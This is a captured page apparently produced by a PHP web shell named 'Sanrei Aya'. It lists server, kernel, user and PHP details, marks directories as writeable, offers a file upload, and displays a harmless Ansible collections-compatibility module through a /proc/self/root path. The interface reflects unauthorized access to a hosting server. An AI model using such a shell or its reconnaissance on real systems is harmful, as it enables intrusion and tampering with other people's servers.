Yohohohohohooho | Sanrei Aya
Sanrei Aya


Server : LiteSpeed
System : Linux barito.iixcp.rumahweb.net 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
User : elvh3918 ( 1528)
PHP Version : 8.2.31
Disable Function : mail
Directory :  /proc/self/root/usr/lib/python3.9/site-packages/ansible/module_utils/common/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/usr/lib/python3.9/site-packages/ansible/module_utils/common/_collections_compat.py
# Copyright (c), Sviatoslav Sydorenko <ssydoren@redhat.com> 2018
# Simplified BSD License (see licenses/simplified_bsd.txt or https://opensource.org/licenses/BSD-2-Clause)
"""Collections ABC import shim.

This module is intended only for internal use.
It will go away once the bundled copy of six includes equivalent functionality.
Third parties should not use this.
"""

from __future__ import absolute_import, division, print_function
__metaclass__ = type

try:
    """Python 3.3+ branch."""
    from collections.abc import (
        MappingView,
        ItemsView,
        KeysView,
        ValuesView,
        Mapping, MutableMapping,
        Sequence, MutableSequence,
        Set, MutableSet,
        Container,
        Hashable,
        Sized,
        Callable,
        Iterable,
        Iterator,
    )
except ImportError:
    """Use old lib location under 2.6-3.2."""
    from collections import (  # type: ignore[no-redef,attr-defined]  # pylint: disable=deprecated-class
        MappingView,
        ItemsView,
        KeysView,
        ValuesView,
        Mapping, MutableMapping,
        Sequence, MutableSequence,
        Set, MutableSet,
        Container,
        Hashable,
        Sized,
        Callable,
        Iterable,
        Iterator,
    )

Yohohohohohooho | Sanrei Aya